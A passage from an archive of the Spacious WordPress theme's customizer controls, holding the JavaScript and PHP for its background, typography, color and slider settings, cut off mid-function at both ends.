						if ( preview.length ) {
							preview.removeClass().addClass( 'thumbnail thumbnail-image' ).html( '<img src="' + previewImage + '" alt="" />' );
						}

						if ( removeButton.length ) {
							removeButton.show();
						}
					} );

					e.preventDefault();
				} );

				controlContainer.on( 'click', '.background-image-upload-remove-button', function ( e ) {

					var preview,
					    removeButton;

					e.preventDefault();

					control.saveBackgroundValue( 'background-image', '', $( this ) );

					preview      = controlContainer.find( '.placeholder, .thumbnail' );
					removeButton = controlContainer.find( '.background-image-upload-remove-button' );

					// Hide unnecessary controls.
					controlContainer.find( '.customize-control-content > .background-repeat' ).hide();
					controlContainer.find( '.customize-control-content > .background-position' ).hide();
					controlContainer.find( '.customize-control-content > .background-size' ).hide();
					controlContainer.find( '.customize-control-content > .background-attachment' ).hide();

					if ( preview.length ) {
						preview.removeClass().addClass( 'placeholder' ).html( SpaciousCustomizerControlBackground.placeholder );
					}

					if ( removeButton.length ) {
						removeButton.hide();
					}
				} );

				// Background repeat setting.
				controlContainer.on( 'change', '.background-repeat select', function () {
					control.saveBackgroundValue( 'background-repeat', $( this ).val(), $( this ), name );
				} );

				// Background position setting.
				controlContainer.on( 'change', '.background-position select', function () {
					control.saveBackgroundValue( 'background-position', $( this ).val(), $( this ), name );
				} );

				// Background size setting.
				controlContainer.on( 'change', '.background-size select', function () {
					control.saveBackgroundValue( 'background-size', $( this ).val(), $( this ), name );
				} );

				// Background attachment setting.
				controlContainer.on( 'change', '.background-attachment select', function () {
					control.saveBackgroundValue( 'background-attachment', $( this ).val(), $( this ), name );
				} );

			},

			saveBackgroundValue : function ( property, value, element, name ) {

				var control = this,
				    input   = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .background-hidden-value' ),
				    val     = JSON.parse( input.val() );

				val[property] = value;

				$( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );

				name = $( element ).parents( '.customize-control' ).attr( 'id' );
				name = name.replace( 'customize-control-', '' );

				control.container.trigger(
					'spacious_settings_changed',
					[
						control,
						element,
						val,
						name
					]
				);

			},

			initTypographyControl : function ( control, control_atts, name ) {

				var value            = control.setting._value,
				    control_name     = control_atts.name,
				    controlContainer = control.container.find( '#customize-control-' + control_name );

				// On customizer load, render the available font options.
				control.renderTypographyFontSelector( $( this ), name, control_atts );
				control.renderTypographyVariantSelector( $( this ), name, control_atts );
				control.renderTypographySubsetSelector( $( this ), name, control_atts );

				// Font style setting.
				controlContainer.on( 'change', '.font-style select', function () {
					control.saveTypographyValue( 'font-style', $( this ).val(), $( this ), name );
				} );

				// Text transform setting.
				controlContainer.on( 'change', '.text-transform select', function () {
					control.saveTypographyValue( 'text-transform', $( this ).val(), $( this ), name );
				} );

				// Text decoration setting.
				controlContainer.on( 'change', '.text-decoration select', function () {
					control.saveTypographyValue( 'text-decoration', $( this ).val(), $( this ), name );
				} );

				// Font size setting.
				controlContainer.on( 'change keyup paste input', '.font-size input', function () {
					control.saveTypographyFontSize( $( this ), name, control_atts );
				} );

				// Line height setting.
				controlContainer.on( 'change keyup paste input', '.line-height input', function () {
					control.saveTypographyLineHeight( $( this ), name, control_atts );
				} );

				// Letter spacing setting.
				controlContainer.on( 'change keyup paste input', '.letter-spacing input', function () {
					control.saveTypographyLetterSpacing( $( this ), name, control_atts );
				} );

			},

			renderTypographyFontSelector : function ( element, name, control_atts ) {

				var control       = this,
				    selector      = control.selector + ' .font-family select',
				    standardFonts = [],
				    googleFonts   = [],
				    customFonts   = [],
				    input         = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
				    value         = JSON.parse( input.val() ),
				    fonts         = control.getTypographyFonts(),
				    fontSelect;

				// Format standard fonts as an array.
				if ( ! _.isUndefined( fonts.standard ) ) {
					_.each(
						fonts.standard,
						function ( font ) {
							standardFonts.push(
								{
									id   : font.family.replace( /&quot;/g, '&#39' ),
									text : font.label
								}
							);
						}
					);
				}

				// Format Google fonts as an array.
				if ( ! _.isUndefined( fonts.google ) ) {
					_.each(
						fonts.google,
						function ( font ) {
							googleFonts.push(
								{
									id   : font.family,
									text : font.label
								}
							);
						}
					);
				}

				// Combine fonts and build the final data.
				data = [
					{
						text     : fonts.standardfontslabel,
						children : standardFonts
					},
					{
						text     : fonts.googlefontslabel,
						children : googleFonts
					}
				];

				// Format custom fonts as an array.
				if ( ! _.isUndefined( fonts.custom ) ) {
					_.each(
						fonts.custom,
						function ( font ) {
							customFonts.push(
								{
									id   : font.family,
									text : font.label
								}
							);
						}
					);

					// Merge on `data` array.
					data.push(
						{
							text     : fonts.customfontslabel,
							children : customFonts
						}
					);
				}

				// Instantiate selectWoo with the data.
				fontSelect = $( selector ).selectWoo(
					{
						data  : data,
						width : '100%'
					}
				);

				// Set the initial value.
				if ( value['font-family'] ) {
					fontSelect.val( value['font-family'].replace( /'/g, '"' ) ).trigger( 'change' );
				}

				// When the font option value changes.
				fontSelect.on(
					'change',
					function () {

						// Set the value.
						control.saveTypographyValue( 'font-family', $( this ).val(), $( this ), name );

						// Render new list of selected font options.
						control.renderTypographyVariantSelector( $( this ), name, control_atts );
						control.renderTypographySubsetSelector( $( this ), name, control_atts );

					}
				);

			},

			getTypographyFonts : function () {

				var control = this;

				if ( ! _.isUndefined( SpaciousCustomizerControlTypography ) ) {
					return SpaciousCustomizerControlTypography;
				}

				return {
					google   : [],
					standard : []
				};

			},

			renderTypographyVariantSelector : function ( element, name, control_atts ) {

				var control    = this,
				    input      = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
				    value      = JSON.parse( input.val() ),
				    fontFamily = value['font-family'],
				    variants   = control.getTypographyVariants( fontFamily ),
				    selector   = control.selector + ' .font-weight select',
				    data       = [],
				    isValid    = false,
				    variantSelector;

				if ( false !== variants ) {

					$( control.selector + ' .font-weight' ).show();
					_.each(
						variants,
						function ( variant ) {
							if ( value['font-weight'] === variant.id ) {
								isValid = true;
							}

							data.push(
								{
									id   : variant.id,
									text : variant.label
								}
							);
						}
					);

					if ( ! isValid ) {
						value['font-weight'] = 'regular';
					}

					if ( $( selector ).hasClass( 'select2-hidden-accessible' ) ) {
						$( selector ).selectWoo( 'destroy' );
						$( selector ).empty();
					}

					// Instantiate selectWoo with the data.
					variantSelector = $( selector ).selectWoo(
						{
							data  : data,
							width : '100%'
						}
					);

					variantSelector.val( value['font-weight'] ).trigger( 'change' );
					variantSelector.on(
						'change',
						function () {
							control.saveTypographyValue( 'font-weight', $( this ).val(), $( this ), name );
						}
					);

				} else {

					$( control.selector + ' .font-weight' ).hide();

				}

			},

			getTypographyVariants : function ( fontFamily ) {

				var control = this,
				    fonts   = control.getTypographyFonts();

				var variants = false;
				_.each(
					fonts.standard,
					function ( font ) {
						if ( fontFamily && font.family === fontFamily.replace( /'/g, '"' ) ) {
							variants = font.variants;

							return variants;
						}
					}
				);

				_.each(
					fonts.google,
					function ( font ) {
						if ( font.family === fontFamily ) {
							variants = font.variants;

							return variants;
						}
					}
				);

				// For custom fonts.
				if ( ! _.isUndefined( fonts.custom ) ) {
					_.each(
						fonts.custom,
						function ( font ) {
							if ( font.custom === fontFamily ) {
								variants = font.variants;

								return variants;
							}
						}
					);
				}

				return variants;

			},

			renderTypographySubsetSelector : function ( element, name, control_atts ) {

				var control    = this,
				    input      = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
				    value      = JSON.parse( input.val() ),
				    fontFamily = value['font-family'],
				    subsets    = control.getTypographySubsets( fontFamily ),
				    selector   = control.selector + ' .subsets select',
				    data       = [],
				    validValue = value.subsets,
				    subsetSelector;

				if ( false !== subsets ) {

					$( control.selector + ' .subsets' ).show();
					_.each(
						subsets,
						function ( subset ) {
							if ( _.isObject( validValue ) ) {
								if ( - 1 === validValue.indexOf( subset.id ) ) {
									validValue = _.reject(
										validValue,
										function ( subValue ) {
											return subValue === subset.id;
										}
									);
								}
							}

							data.push(
								{
									id   : subset.id,
									text : subset.label
								}
							);
						}
					);

				} else {

					$( control.selector + ' .subsets' ).hide();

				}

				if ( $( selector ).hasClass( 'select2-hidden-accessible' ) ) {
					$( selector ).selectWoo( 'destroy' );
					$( selector ).empty();
				}

				// Instantiate selectWoo with the data.
				subsetSelector = $( selector ).selectWoo(
					{
						data  : data,
						width : '100%'
					}
				);

				subsetSelector.val( validValue ).trigger( 'change' );
				subsetSelector.on(
					'change',
					function () {
						control.saveTypographyValue( 'subsets', $( this ).val(), $( this ), name );
					}
				);

			},

			getTypographySubsets : function ( fontFamily ) {

				var control = this,
				    subsets = false,
				    fonts   = control.getTypographyFonts();

				_.each(
					fonts.google,
					function ( font ) {
						if ( font.family === fontFamily ) {
							subsets = font.subsets;

							return subsets;
						}
					}
				);

				return subsets;

			},

			saveTypographyFontSize : function ( element, name, control_atts ) {

				var control          = this,
				    input            = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
				    val              = JSON.parse( input.val() ),
				    control_name     = control_atts.name,
				    controlContainer = control.container.find( '#customize-control-' + control_name ),
				    newValue         = {
					    'font-size' : {}
				    };

				controlContainer.find( '.font-size .control-wrap' ).each(
					function () {
						var controlValue = $( this ).find( 'input' ).val();
						var device       = $( this ).find( 'input' ).data( 'device' );

						newValue['font-size'][device] = controlValue;
					}
				);

				// Extend/Update the `val` object to include `newValue`'s new data as an object.
				$.extend( val, newValue );

				$( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );

				name = $( element ).parents( '.customize-control' ).attr( 'id' );
				name = name.replace( 'customize-control-', '' );

				control.container.trigger(
					'spacious_settings_changed',
					[
						control,
						element,
						val,
						name
					]
				);

			},

			saveTypographyLineHeight : function ( element, name, control_atts ) {

				var control          = this,
				    input            = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
				    val              = JSON.parse( input.val() ),
				    control_name     = control_atts.name,
				    controlContainer = control.container.find( '#customize-control-' + control_name ),
				    newValue         = {
					    'line-height' : {}
				    };

				controlContainer.find( '.line-height .control-wrap' ).each(
					function () {
						var controlValue = $( this ).find( 'input' ).val();
						var device       = $( this ).find( 'input' ).data( 'device' );

						newValue['line-height'][device] = controlValue;
					}
				);

				// Extend/Update the `val` object to include `newValue`'s new data as an object.
				$.extend( val, newValue );

				$( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );

				name = $( element ).parents( '.customize-control' ).attr( 'id' );
				name = name.replace( 'customize-control-', '' );

				control.container.trigger(
					'spacious_settings_changed',
					[
						control,
						element,
						val,
						name
					]
				);

			},

			saveTypographyLetterSpacing : function ( element, name, control_atts ) {

				var control          = this,
				    input            = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
				    val              = JSON.parse( input.val() ),
				    control_name     = control_atts.name,
				    controlContainer = control.container.find( '#customize-control-' + control_name ),
				    newValue         = {
					    'letter-spacing' : {}
				    };

				controlContainer.find( '.letter-spacing .control-wrap' ).each(
					function () {
						var controlValue = $( this ).find( 'input' ).val();
						var device       = $( this ).find( 'input' ).data( 'device' );

						newValue['letter-spacing'][device] = controlValue;
					}
				);

				// Extend/Update the `val` object to include `newValue`'s new data as an object.
				$.extend( val, newValue );

				$( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );

				name = $( element ).parents( '.customize-control' ).attr( 'id' );
				name = name.replace( 'customize-control-', '' );

				control.container.trigger(
					'spacious_settings_changed',
					[
						control,
						element,
						val,
						name
					]
				);

			},

			saveTypographyValue : function ( property, value, element, name ) {

				var control = this,
				    input   = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
				    val     = JSON.parse( input.val() );

				val[property] = value;

				$( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );

				name = $( element ).parents( '.customize-control' ).attr( 'id' );
				name = name.replace( 'customize-control-', '' );

				control.container.trigger(
					'spacious_settings_changed',
					[
						control,
						element,
						val,
						name
					]
				);

			},

		} );

	}
)( jQuery );
core/custom-controls/color/class-spacious-color-control.php000066600000005754152367043330020246 0ustar00<?php
/**
 * Extend WP_Customize_Control to add the color control.
 *
 * Class Spacious_Color_Control
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to extend WP_Customize_Control to add the color customize control.
 *
 * Class Spacious_Color_Control
 */
class Spacious_Color_Control extends Spacious_Customize_Base_Additional_Control {

	/**
	 * Control's Type.
	 *
	 * @var string
	 */
	public $type = 'spacious-color';

	/**
	 * Enqueue control related scripts/styles.
	 */
	public function enqueue() {
		parent::enqueue();

		/**
		 * Color picker strings from WordPress.
		 *
		 * Added since WordPress 5.5 has removed them causing alpha color not appearing issue.
		 */
		if ( version_compare( $GLOBALS['wp_version'], '5.5', '>=' ) ) {
			wp_localize_script(
				'wp-color-picker',
				'wpColorPickerL10n',
				array(
					'clear'            => esc_html__( 'Clear', 'spacious' ),
					'clearAriaLabel'   => esc_html__( 'Clear color', 'spacious' ),
					'defaultString'    => esc_html__( 'Default', 'spacious' ),
					'defaultAriaLabel' => esc_html__( 'Select default color', 'spacious' ),
					'pick'             => esc_html__( 'Select Color', 'spacious' ),
					'defaultLabel'     => esc_html__( 'Color value', 'spacious' ),
				)
			);
		}
	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {

		parent::to_json();

		$this->json['default'] = $this->setting->default;
		if ( isset( $this->default ) ) {
			$this->json['default'] = $this->default;
		}
		$this->json['value'] = $this->value();

		$this->json['link']        = $this->get_link();
		$this->json['id']          = $this->id;
		$this->json['label']       = esc_html( $this->label );
		$this->json['description'] = $this->description;

	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding {@see WP_Customize_Control::to_json()}.
	 *
	 * @see    WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<div class="customizer-wrapper">
			<div class="customizer-text">
				<# if ( data.label ) { #>
				<span class="customize-control-title">{{{ data.label }}}</span>
				<# } #>

				<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
				<# } #>
			</div>

			<div class="customize-control-content">
				<input class="spacious-color-picker-alpha color-picker-hex"
						type="text"
						data-alpha-enabled="true"
						data-default-color="{{ data.default }}"
						value="{{ data.value }}"
				/>
			</div>
		</div>
		<?php
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 */
	public function render_content() {
	}

}
core/custom-controls/color/color.js000066600000001400152367043330013446 0ustar00/**
 * Color picker control JS to handle color picker rendering within customize control.
 *
 * File `color.js`.
 *
 * @package Spacious
 */
(
	function ( $ ) {

		$( window ).on( 'load', function () {
			$( 'html' ).addClass( 'colorpicker-ready' );
		} );

		wp.customize.controlConstructor[ 'spacious-color' ] = wp.customize.Control.extend( {

			ready : function () {

				'use strict';

				var control = this;

				this.container.find( '.spacious-color-picker-alpha' ).wpColorPicker( {

					change : function ( event, ui ) {
						var color = ui.color.toString();

						if ( jQuery( 'html' ).hasClass( 'colorpicker-ready' ) ) {
							control.setting.set( color );
						}
					}

				} );

			}

		} );

	}
)( jQuery );
core/custom-controls/background/class-spacious-background-control.php000066600000017547152367043330022253 0ustar00<?php
/**
 * Extend WP_Customize_Control to add the background control.
 *
 * Class Spacious_Color_Control
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to extend WP_Customize_Control to add the background customize control.
 *
 * Class Spacious_Background_Control
 */
class Spacious_Background_Control extends Spacious_Customize_Base_Additional_Control {

	/**
	 * Control's Type.
	 *
	 * @var string
	 */
	public $type = 'spacious-background';

	/**
	 * Enqueue control related scripts/styles.
	 */
	public function enqueue() {

		parent::enqueue();

		wp_localize_script(
			'spacious-customize-controls',
			'SpaciousCustomizerControlBackground',
			array(
				'placeholder' => esc_html__( 'No file selected', 'spacious' ),
			)
		);

	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {

		parent::to_json();

		$this->json['default'] = $this->setting->default;
		if ( isset( $this->default ) ) {
			$this->json['default'] = $this->default;
		}
		$this->json['value'] = $this->value();

		$this->json['link']        = $this->get_link();
		$this->json['id']          = $this->id;
		$this->json['label']       = esc_html( $this->label );
		$this->json['description'] = $this->description;

	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding {@see WP_Customize_Control::to_json()}.
	 *
	 * @see    WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>

		<div class="customizer-text">
			<# if ( data.label ) { #>
			<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>

			<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
		</div>

		<div class="customize-control-content">

			<div class="background-color">
				<span class="customize-control-title"><?php esc_html_e( 'Background Color', 'spacious' ); ?></span>
				<input data-name="{{ data.name }}"
						type="text"
						data-default-color="{{ data.default['background-color'] }}"
						data-alpha-enabled="true"
						value="{{ data.value['background-color'] }}"
						class="spacious-color-picker-alpha color-picker-hex"
				/>
			</div>

			<div class="background-image">
				<span class="customize-control-title"><?php esc_html_e( 'Background Image', 'spacious' ); ?></span>
				<div class="attachment-media-view background-image-upload">
					<# if ( data.value['background-image'] ) { #>
					<div class="thumbnail thumbnail-image"><img src="{{ data.value['background-image'] }}" alt="" />
					</div>
					<# } else { #>
					<div class="placeholder"><?php esc_html_e( 'No Image Selected', 'spacious' ); ?></div>
					<# } #>

					<div class="actions">
						<button data-name="{{ data.name }}"
								class="button background-image-upload-remove-button<# if ( ! data.value['background-image'] ) { #> hidden <# } #>"
						>
							<?php esc_attr_e( 'Remove', 'spacious' ); ?>
						</button>

						<button data-name="{{ data.name }}"
								type="button"
								class="button background-image-upload-button"
						>
							<?php esc_attr_e( 'Select Image', 'spacious' ); ?>
						</button>
					</div>
				</div>
			</div>

			<div class="background-repeat">
				<span class="customize-control-title"><?php esc_html_e( 'Background Repeat', 'spacious' ); ?></span>
				<select data-name="{{ data.name }}" {{{ data.inputAttrs }}}>
					<option value="no-repeat"
					<# if ( 'no-repeat' === data.value['background-repeat'] ) { #> selected <# }
					#>><?php esc_html_e( 'No Repeat', 'spacious' ); ?></option>
					<option value="repeat"
					<# if ( 'repeat' === data.value['background-repeat'] ) { #> selected <# }
					#>><?php esc_html_e( 'Repeat All', 'spacious' ); ?></option>
					<option value="repeat-x"
					<# if ( 'repeat-x' === data.value['background-repeat'] ) { #> selected <# }
					#>><?php esc_html_e( 'Repeat Horizontally', 'spacious' ); ?></option>
					<option value="repeat-y"
					<# if ( 'repeat-y' === data.value['background-repeat'] ) { #> selected <# }
					#>><?php esc_html_e( 'Repeat Vertically', 'spacious' ); ?></option>
				</select>
			</div>

			<div class="background-position">
				<span class="customize-control-title"><?php esc_html_e( 'Background Position', 'spacious' ); ?></span>
				<select data-name="{{ data.name }}" {{{ data.inputAttrs }}}>
					<option value="left top"
					<# if ( 'left top' === data.value['background-position'] ) { #> selected <# }
					#>><?php esc_html_e( 'Left Top', 'spacious' ); ?></option>
					<option value="left center"
					<# if ( 'left center' === data.value['background-position'] ) { #> selected <# }
					#>><?php esc_html_e( 'Left Center', 'spacious' ); ?></option>
					<option value="left bottom"
					<# if ( 'left bottom' === data.value['background-position'] ) { #> selected <# }
					#>><?php esc_html_e( 'Left Bottom', 'spacious' ); ?></option>
					<option value="right top"
					<# if ( 'right top' === data.value['background-position'] ) { #> selected <# }
					#>><?php esc_html_e( 'Right Top', 'spacious' ); ?></option>
					<option value="right center"
					<# if ( 'right center' === data.value['background-position'] ) { #> selected <# }
					#>><?php esc_html_e( 'Right Center', 'spacious' ); ?></option>
					<option value="right bottom"
					<# if ( 'right bottom' === data.value['background-position'] ) { #> selected <# }
					#>><?php esc_html_e( 'Right Bottom', 'spacious' ); ?></option>
					<option value="center top"
					<# if ( 'center top' === data.value['background-position'] ) { #> selected <# }
					#>><?php esc_html_e( 'Center Top', 'spacious' ); ?></option>
					<option value="center center"
					<# if ( 'center center' === data.value['background-position'] ) { #> selected <# }
					#>><?php esc_html_e( 'Center Center', 'spacious' ); ?></option>
					<option value="center bottom"
					<# if ( 'center bottom' === data.value['background-position'] ) { #> selected <# }
					#>><?php esc_html_e( 'Center Bottom', 'spacious' ); ?></option>
				</select>
			</div>

			<div class="background-size">
				<span class="customize-control-title"><?php esc_html_e( 'Background Size', 'spacious' ); ?></span>
				<select data-name="{{ data.name }}" {{{ data.inputAttrs }}}>
					<option value="cover"
					<# if ( 'cover' === data.value['background-size'] ) { #> selected <# }
					#>><?php esc_html_e( 'Cover', 'spacious' ); ?></option>
					<option value="contain"
					<# if ( 'contain' === data.value['background-size'] ) { #> selected <# }
					#>><?php esc_html_e( 'Contain', 'spacious' ); ?></option>
					<option value="auto"
					<# if ( 'auto' === data.value['background-size'] ) { #> selected <# }
					#>><?php esc_html_e( 'Auto', 'spacious' ); ?></option>
				</select>
			</div>

			<div class="background-attachment">
				<span class="customize-control-title"><?php esc_html_e( 'Background Attachment', 'spacious' ); ?></span>
				<select data-name="{{ data.name }}" {{{ data.inputAttrs }}}>
					<option value="scroll"
					<# if ( 'scroll' === data.value['background-attachment'] ) { #> selected <# }
					#>><?php esc_html_e( 'Scroll', 'spacious' ); ?></option>
					<option value="fixed"
					<# if ( 'fixed' === data.value['background-attachment'] ) { #> selected <# }
					#>><?php esc_html_e( 'Fixed', 'spacious' ); ?></option>
				</select>
			</div>

			<input class="background-hidden-value"
					value="{{ JSON.stringify( data.value ) }}"
					data-name="{{ data.name }}"
					type="hidden" {{{ data.link }}}
			>

		</div>

		<?php
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 */
	public function render_content() {
	}

}
core/custom-controls/background/background.js000066600000014010152367043330015451 0ustar00/**
 * Background image control JS to handle the background customize option.
 *
 * File `background.js`.
 *
 * @package Spacious
 */
(
	function ( $ ) {

		$( window ).on( 'load', function () {
			$( 'html' ).addClass( 'colorpicker-ready' );
		} );

		wp.customize.controlConstructor['spacious-background'] = wp.customize.Control.extend( {

			ready : function () {

				'use strict';

				var control = this;

				// Init background control.
				control.initSpaciousBackgroundControl();

			},

			initSpaciousBackgroundControl : function () {

				var control     = this,
				    value       = control.setting._value,
				    colorpicker = control.container.find( '.spacious-color-picker-alpha' );

				// Hide unnecessary controls by default and show only when background image is set.
				if ( _.isUndefined( value['background-image'] ) || '' === value['background-image'] ) {
					control.container.find( '.customize-control-content > .background-repeat' ).hide();
					control.container.find( '.customize-control-content > .background-position' ).hide();
					control.container.find( '.customize-control-content > .background-size' ).hide();
					control.container.find( '.customize-control-content > .background-attachment' ).hide();
				}

				// Background color setting.
				colorpicker.wpColorPicker( {

					change : function () {
						if ( jQuery( 'html' ).hasClass( 'colorpicker-ready' ) ) {
							setTimeout(
								function () {
									control.saveValue( 'background-color', colorpicker.val() );
								},
								100
							);
						}
					},

					clear : function ( event ) {
						var element = jQuery( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0];

						if ( element ) {
							control.saveValue( 'background-color', '' );
						}
					}

				} );

				// Background image setting.
				control.container.on( 'click', '.background-image-upload-button, .thumbnail-image img', function ( e ) {
					var image = wp.media( { multiple : false } ).open().on( 'select', function () {

						// This will return the selected image from the Media Uploader, the result is an object.
						var uploadedImage = image.state().get( 'selection' ).first(),
						    previewImage  = uploadedImage.toJSON().sizes.full.url,
						    imageUrl,
						    imageID,
						    imageWidth,
						    imageHeight,
						    preview,
						    removeButton;

						if ( ! _.isUndefined( uploadedImage.toJSON().sizes.medium ) ) {
							previewImage = uploadedImage.toJSON().sizes.medium.url;
						} else if ( ! _.isUndefined( uploadedImage.toJSON().sizes.thumbnail ) ) {
							previewImage = uploadedImage.toJSON().sizes.thumbnail.url;
						}

						imageUrl    = uploadedImage.toJSON().sizes.full.url;
						imageID     = uploadedImage.toJSON().id;
						imageWidth  = uploadedImage.toJSON().width;
						imageHeight = uploadedImage.toJSON().height;

						// Show extra controls if the value has an image.
						if ( '' !== imageUrl ) {
							control.container.find( '.customize-control-content > .background-repeat, .customize-control-content > .background-position, .customize-control-content > .background-size, .customize-control-content > .background-attachment' ).show();
						}

						control.saveValue( 'background-image', imageUrl );
						preview      = control.container.find( '.placeholder, .thumbnail' );
						removeButton = control.container.find( '.background-image-upload-remove-button' );

						if ( preview.length ) {
							preview.removeClass().addClass( 'thumbnail thumbnail-image' ).html( '<img src="' + previewImage + '" alt="" />' );
						}

						if ( removeButton.length ) {
							removeButton.show();
						}
					} );

					e.preventDefault();
				} );

				control.container.on( 'click', '.background-image-upload-remove-button', function ( e ) {

					var preview,
					    removeButton;

					e.preventDefault();

					control.saveValue( 'background-image', '' );

					preview      = control.container.find( '.placeholder, .thumbnail' );
					removeButton = control.container.find( '.background-image-upload-remove-button' );

					// Hide unnecessary controls.
					control.container.find( '.customize-control-content > .background-repeat' ).hide();
					control.container.find( '.customize-control-content > .background-position' ).hide();
					control.container.find( '.customize-control-content > .background-size' ).hide();
					control.container.find( '.customize-control-content > .background-attachment' ).hide();

					if ( preview.length ) {
						preview.removeClass().addClass( 'placeholder' ).html( SpaciousCustomizerControlBackground.placeholder );
					}

					if ( removeButton.length ) {
						removeButton.hide();
					}
				} );

				// Background repeat setting.
				control.container.on( 'change', '.background-repeat select', function () {
					control.saveValue( 'background-repeat', jQuery( this ).val() );
				} );

				// Background position setting.
				control.container.on( 'change', '.background-position select', function () {
					control.saveValue( 'background-position', jQuery( this ).val() );
				} );

				// Background size setting.
				control.container.on( 'change', '.background-size select', function () {
					control.saveValue( 'background-size', jQuery( this ).val() );
				} );

				// Background attachment setting.
				control.container.on( 'change', '.background-attachment select', function () {
					control.saveValue( 'background-attachment', jQuery( this ).val() );
				} );

			},

			/**
			 * Saves the value.
			 */
			saveValue : function ( property, value ) {

				var control = this,
				    input   = jQuery( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .background-hidden-value' ),
				    val     = control.setting._value;

				val[property] = value;

				jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
				control.setting.set( val );

			}

		} );

	}
)( jQuery );
core/custom-controls/slider/class-spacious-slider-control.php000066600000005743152367043330020554 0ustar00<?php
/**
 * Extend WP_Customize_Control to add the slider control.
 *
 * Class Spacious_Slider_Control
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to extend WP_Customize_Control to add the slider customize control.
 *
 * Class Spacious_Slider_Control
 */
class Spacious_Slider_Control extends Spacious_Customize_Base_Additional_Control {

	/**
	 * Control's Type.
	 *
	 * @var string
	 */
	public $type = 'spacious-slider';

	/**
	 * Suffix for slider.
	 *
	 * @var string
	 */
	public $suffix = '';

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {

		parent::to_json();

		$this->json['default'] = $this->setting->default;
		if ( isset( $this->default ) ) {
			$this->json['default'] = $this->default;
		}
		$this->json['value'] = $this->value();

		$this->json['link']        = $this->get_link();
		$this->json['id']          = $this->id;
		$this->json['label']       = esc_html( $this->label );
		$this->json['description'] = $this->description;

		$this->json['suffix'] = $this->suffix;

		$this->json['inputAttrs'] = '';
		foreach ( $this->input_attrs as $attr => $value ) {
			$this->json['inputAttrs'] .= $attr . '="' . esc_attr( $value ) . '" ';
		}

	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding {@see WP_Customize_Control::to_json()}.
	 *
	 * @see    WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>

		<div class="customizer-text">
			<# if ( data.label ) { #>
			<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>

			<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
		</div>

		<div class="slider-wrapper <# if ( data.description ) { #>slider-description<# } #>">
			<input {{{ data.inputAttrs }}}
			       type="range"
			       value="{{ data.value }}"
			       data-reset_value="{{ data.default }}"
			/>

			<div class="spacious-range-value">
				<input type="number"
				       data-name="{{ data.name }}"
				       class="value spacious-range-input"
				       {{{ data.link }}}
				       value="{{ data.value }}"
				       {{{ data.inputAttrs }}}
				>
				<# if ( data.suffix ) { #>
				<span class="spacious-range-unit">{{ data.suffix }}</span>
				<# } #>
			</div>

			<div class="spacious-slider-reset">
				<span class="dashicons dashicons-image-rotate spacious-control-tooltip"
				      title="<?php esc_attr_e( 'Back to default', 'spacious' ); ?>"
				>
				</span>
			</div>
		</div>

		<?php
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 */
	public function render_content() {
	}

}
core/custom-controls/slider/slider.js000066600000002522152367043330013764 0ustar00/**
 * Slider control JS to handle the range of the inputs.
 *
 * File `slider.js`.
 *
 * @package Spacious
 */
wp.customize.controlConstructor['spacious-slider'] = wp.customize.Control.extend( {

	ready : function () {

		'use strict';

		var control = this;

		// Update the text value.
		this.container.find( 'input[type=range]' ).on( 'input change', function () {
			var value        = jQuery( this ).val(),
